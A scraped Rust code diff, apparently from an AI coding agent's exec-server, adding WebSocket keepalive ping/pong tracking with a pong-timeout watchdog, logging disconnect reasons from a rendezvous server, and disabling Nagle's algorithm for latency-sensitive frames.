let websocket_url = format!("ws://{}", listener.local_addr()?);
|
||||
let harness_connection = tokio::spawn(connect_async(websocket_url));
|
||||
let (socket, _peer_addr) = listener.accept().await?;
|
||||
let environment_websocket = accept_async(socket).await?;
|
||||
let (mut harness_websocket, _response) = harness_connection.await??;
|
||||
|
||||
let environment_task = tokio::spawn(run_multiplexed_environment(
|
||||
environment_websocket,
|
||||
ConnectionProcessor::new(ExecServerRuntimePaths::new(
|
||||
std::env::current_exe()?,
|
||||
/*codex_linux_sandbox_exe*/ None,
|
||||
)?),
|
||||
ENVIRONMENT_ID.to_string(),
|
||||
EXECUTOR_REGISTRATION_ID.to_string(),
|
||||
NoiseChannelIdentity::generate()?,
|
||||
BlockingValidator {
|
||||
calls: Arc::new(AtomicUsize::new(0)),
|
||||
release: Arc::new(Notify::new()),
|
||||
},
|
||||
));
|
||||
|
||||
timeout(Duration::from_secs(1), async {
|
||||
let mut pings = 0;
|
||||
while pings < 6 {
|
||||
match harness_websocket.next().await {
|
||||
Some(Ok(Message::Ping(payload))) => {
|
||||
harness_websocket.send(Message::Pong(payload)).await?;
|
||||
pings += 1;
|
||||
}
|
||||
Some(Ok(Message::Pong(_) | Message::Frame(_))) => {}
|
||||
Some(Ok(message)) => anyhow::bail!("expected keepalive ping, got {message:?}"),
|
||||
Some(Err(error)) => return Err(error.into()),
|
||||
None => anyhow::bail!("environment disconnected before six keepalive pings"),
|
||||
}
|
||||
}
|
||||
Ok::<_, anyhow::Error>(())
|
||||
})
|
||||
.await??;
|
||||
harness_websocket.close(None).await?;
|
||||
assert_eq!(
|
||||
timeout(Duration::from_secs(1), environment_task).await??,
|
||||
RendezvousDisconnectReason::PeerClose
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct BlockingValidator {
|
||||
calls: Arc<AtomicUsize>,
|
||||
|
||||
@@ -492,7 +492,7 @@ pub async fn run_remote_environment(
|
||||
noise_outcome = "ok",
|
||||
"Noise executor connected to rendezvous"
|
||||
);
|
||||
run_multiplexed_environment(
|
||||
let disconnect_reason = run_multiplexed_environment(
|
||||
websocket,
|
||||
processor.clone(),
|
||||
response.environment_id.clone(),
|
||||
@@ -505,7 +505,15 @@ pub async fn run_remote_environment(
|
||||
},
|
||||
)
|
||||
.await;
|
||||
config.telemetry.remote_reconnect("disconnected");
|
||||
info!(
|
||||
noise_event = "rendezvous_connection",
|
||||
noise_outcome = "disconnected",
|
||||
noise_reason = disconnect_reason.as_str(),
|
||||
"Noise executor disconnected from rendezvous"
|
||||
);
|
||||
config
|
||||
.telemetry
|
||||
.remote_reconnect(disconnect_reason.as_str());
|
||||
}
|
||||
Err(error) => {
|
||||
let registration_rejected = matches!(
|
||||
@@ -561,7 +569,9 @@ async fn connect_rendezvous(
|
||||
connect_async_with_config(
|
||||
request,
|
||||
Some(noise_relay_websocket_config()),
|
||||
/*disable_nagle*/ false,
|
||||
// Rendezvous sends small, latency-sensitive frames, so avoid Nagle's coalescing delay.
|
||||
/*disable_nagle*/
|
||||
true,
|
||||
)
|
||||
.await
|
||||
.map(|(websocket, _)| websocket)
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
use std::time::Duration;
|
||||
|
||||
use tokio::time::Instant;
|
||||
|
||||
#[cfg(test)]
|
||||
pub(crate) const WEBSOCKET_PONG_TIMEOUT: Duration = Duration::from_millis(100);
|
||||
#[cfg(not(test))]
|
||||
pub(crate) const WEBSOCKET_PONG_TIMEOUT: Duration = Duration::from_secs(60);
|
||||
pub(crate) const WEBSOCKET_PONG_TIMEOUT_REASON: &str = "pong_timeout";
|
||||
|
||||
/// Tracks whether a WebSocket peer has acknowledged a keepalive ping.
|
||||
pub(crate) struct WebSocketPongWatchdog {
|
||||
timeout: Duration,
|
||||
deadline: Option<Instant>,
|
||||
}
|
||||
|
||||
impl WebSocketPongWatchdog {
|
||||
pub(crate) fn new(timeout: Duration) -> Self {
|
||||
Self {
|
||||
timeout,
|
||||
deadline: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn ping_sent(&mut self, now: Instant) {
|
||||
self.deadline.get_or_insert(now + self.timeout);
|
||||
}
|
||||
|
||||
pub(crate) fn deadline(&self) -> Option<Instant> {
|
||||
self.deadline
|
||||
}
|
||||
|
||||
pub(crate) fn write_deadline(&self, now: Instant) -> Instant {
|
||||
self.deadline.unwrap_or(now + self.timeout)
|
||||
}
|
||||
|
||||
pub(crate) fn received_pong(&mut self) {
|
||||
self.deadline = None;
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "websocket_pong_watchdog_tests.rs"]
|
||||
mod tests;
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user